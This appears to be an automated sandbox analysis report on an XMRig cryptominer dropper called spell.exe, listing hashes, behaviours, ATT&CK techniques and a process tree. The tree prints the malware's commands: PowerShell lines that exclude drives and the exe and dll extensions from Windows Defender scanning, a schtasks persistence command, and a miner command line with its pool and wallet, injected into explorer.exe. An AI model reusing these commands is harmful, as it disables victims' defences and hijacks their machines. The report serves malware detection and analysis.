xmrig | dd5a76a2520d25db4010b9c27e6e6b3033995b72b18954f095215e08137850f6

Analysis

max time kernel
2698s
max time network
2694s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
29/06/2024, 01:59

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General

Target

spell.exe
Size

2.1MB
MD5

ac109c80097d1d932ab66fc11e19b61f
SHA1

2d8eb980764fae4a728431e32321609a45f6741d
SHA256

dd5a76a2520d25db4010b9c27e6e6b3033995b72b18954f095215e08137850f6
SHA512

bb893cc7cb0eee04048390d92515dcf3e689eea15e67d8b461b26720d8ab2d127afc55cb006ab2088454346fb506f0a2e09004740b736da3f3bfacc5461f1b58
SSDEEP

49152:Get5GEw9XDPGmUI/LVuSO5q2OCvBc6laoCBpsFC6:HRw9XDuZI/YDlOCZc6la3sY6

Score

10^/10

xmrig execution miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 11 IoCs

miner

resource	yara_rule
behavioral5/memory/4332-62-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-64-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-69-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-70-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-68-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-67-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-66-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-82-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-84-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-85-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral5/memory/4332-86-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2836	powershell.exe
2104	powershell.exe
3724	powershell.exe
4324	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
328	services64.exe
700	sihost64.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe
File created	C:\Windows\system32\services64.exe	conhost.exe
File opened for modification	C:\Windows\system32\services64.exe	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5084 set thread context of 4332	5084	conhost.exe	96

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4948	conhost.exe
2836	powershell.exe
2836	powershell.exe
2104	powershell.exe
2104	powershell.exe
5084	conhost.exe
5084	conhost.exe
3724	powershell.exe
3724	powershell.exe
4324	powershell.exe
4324	powershell.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe
4332	explorer.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	4948	conhost.exe
Token: SeDebugPrivilege	2836	powershell.exe
Token: SeDebugPrivilege	2104	powershell.exe
Token: SeDebugPrivilege	5084	conhost.exe
Token: SeDebugPrivilege	3724	powershell.exe
Token: SeLockMemoryPrivilege	4332	explorer.exe
Token: SeLockMemoryPrivilege	4332	explorer.exe
Token: SeDebugPrivilege	4324	powershell.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 468 wrote to memory of 4948	468	spell.exe	78
PID 468 wrote to memory of 4948	468	spell.exe	78
PID 468 wrote to memory of 4948	468	spell.exe	78
PID 4948 wrote to memory of 4984	4948	conhost.exe	79
PID 4948 wrote to memory of 4984	4948	conhost.exe	79
PID 4984 wrote to memory of 2836	4984	cmd.exe	81
PID 4984 wrote to memory of 2836	4984	cmd.exe	81
PID 4948 wrote to memory of 4364	4948	conhost.exe	83
PID 4948 wrote to memory of 4364	4948	conhost.exe	83
PID 4364 wrote to memory of 2868	4364	cmd.exe	85
PID 4364 wrote to memory of 2868	4364	cmd.exe	85
PID 4984 wrote to memory of 2104	4984	cmd.exe	86
PID 4984 wrote to memory of 2104	4984	cmd.exe	86
PID 4948 wrote to memory of 4416	4948	conhost.exe	87
PID 4948 wrote to memory of 4416	4948	conhost.exe	87
PID 4416 wrote to memory of 328	4416	cmd.exe	89
PID 4416 wrote to memory of 328	4416	cmd.exe	89
PID 328 wrote to memory of 5084	328	services64.exe	90
PID 328 wrote to memory of 5084	328	services64.exe	90
PID 328 wrote to memory of 5084	328	services64.exe	90
PID 5084 wrote to memory of 2300	5084	conhost.exe	91
PID 5084 wrote to memory of 2300	5084	conhost.exe	91
PID 2300 wrote to memory of 3724	2300	cmd.exe	93
PID 2300 wrote to memory of 3724	2300	cmd.exe	93
PID 5084 wrote to memory of 700	5084	conhost.exe	94
PID 5084 wrote to memory of 700	5084	conhost.exe	94
PID 700 wrote to memory of 1596	700	sihost64.exe	95
PID 700 wrote to memory of 1596	700	sihost64.exe	95
PID 700 wrote to memory of 1596	700	sihost64.exe	95
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 5084 wrote to memory of 4332	5084	conhost.exe	96
PID 2300 wrote to memory of 4324	2300	cmd.exe	97
PID 2300 wrote to memory of 4324	2300	cmd.exe	97

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\spell.exe
"C:\Users\Admin\AppData\Local\Temp\spell.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:468
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\spell.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2836
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2104
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4364
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2868
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4416
  - - C:\Windows\system32\services64.exe
      C:\Windows\system32\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:328
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        5⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5084
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4324
      - C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:700
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        
        PID:1596
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=45fPKuDFXtpFRPKFCiNDZVjNuTSAMd8XwS2ouV1hWy7s5y6rn1fjfbXL8sJNAZSMS4EXhvbKisPeuEb24XchsUSeBXdQxrL --pass=SPELL --cpu-max-threads-hint=90 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --tls --cinit-stealth
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4332

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
539B

MD5
2d0c598bdafdf3bca91ec28b81c4474b

SHA1
2e7c2a21ceb95b3a774461e15f1f0a9ede36a3d5

SHA256
74f5fd99f66fcffa14a0927a9767c956120e90e714abea702b51a919c60d3ab0

SHA512
53fc7d64040f563601f7b5e63b1c1bbc7a98a4b1591bb18456bd3edb774c47859b0b56325ffc93128cdac547419ab11cfa1685f301b20ecb283f7414d4aed8a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4f4f3e62877d5a49c78f52446c6e0b70

SHA1
1820bd563b11b05e7efdc5890eb281d4d72f7acf

SHA256
8cb81e14624137f8064e76ad0068f0a51cbea21e41a6e68a384490541b21839b

SHA512
5823ff6218b03536b7719bd37a197b9bf300a52940f5faf3f03bd012b86e9fda5d4ffef0b3e9152eb309e0decff8e0fc8247622bc0a995b9211aeaee6bf1e5ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
69416944dac24129d0969e2ac46f0533

SHA1
d71969659956b32411e0606a9bee640a0b108ef4

SHA256
dffc7e01106427982d7cafd3d7e3be37e16b098fbb0958410ea8d7c68bfb97ca

SHA512
aabb330053579af0d9de2661bd70eaadfd2e2e617759bc9c380db1c64731c6711304e49882138e9d337815377ee012a7458f91f692cb31538d73624385867f4c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wvuxyqfa.r0t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\Microsoft\Libs\sihost64.exe

Filesize
32KB

MD5
069a6f7a77eaf05c4145ec872579f07e

SHA1
02bdf233197e979bb99343c7473c20492972187b

SHA256
59c8dc7bbbe8ea1a8ecd01e8a780f8af39309717fb0f6e44c583579e91674860

SHA512
2c1d29f817417e0298137bb3e3b7fc94af6dab084a7a7575fe11431c7d2766e89f4074e99583b327025beaf3e53e08b8a1844e1e9ef93f1e9e2b2a4d66e39306

Download Submit
C:\Windows\system32\services64.exe

Filesize
2.1MB

MD5
ac109c80097d1d932ab66fc11e19b61f

SHA1
2d8eb980764fae4a728431e32321609a45f6741d

SHA256
dd5a76a2520d25db4010b9c27e6e6b3033995b72b18954f095215e08137850f6

SHA512
bb893cc7cb0eee04048390d92515dcf3e689eea15e67d8b461b26720d8ab2d127afc55cb006ab2088454346fb506f0a2e09004740b736da3f3bfacc5461f1b58

Download Submit
memory/1596-61-0x000001D0B84F0000-0x000001D0B84F6000-memory.dmp

Filesize
24KB

Download
memory/1596-60-0x000001D0B6970000-0x000001D0B6976000-memory.dmp

Filesize
24KB

Download
memory/2836-16-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/2836-18-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/2836-21-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/2836-17-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/2836-15-0x00000289D48F0000-0x00000289D4912000-memory.dmp

Filesize
136KB

Download
memory/4332-66-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-67-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-86-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-85-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-84-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-82-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-68-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-65-0x00000000021A0000-0x00000000021C0000-memory.dmp

Filesize
128KB

Download
memory/4332-62-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-64-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-69-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4332-70-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4948-2-0x000001C6F9F70000-0x000001C6FA190000-memory.dmp

Filesize
2.1MB

Download
memory/4948-0-0x000001C6DF490000-0x000001C6DF6B1000-memory.dmp

Filesize
2.1MB

Download
memory/4948-39-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-1-0x00007FFA7DA33000-0x00007FFA7DA35000-memory.dmp

Filesize
8KB

Download
memory/4948-3-0x000001C6E1490000-0x000001C6E14A2000-memory.dmp

Filesize
72KB

Download
memory/4948-4-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-5-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download
memory/4948-6-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp

Filesize
10.8MB

Download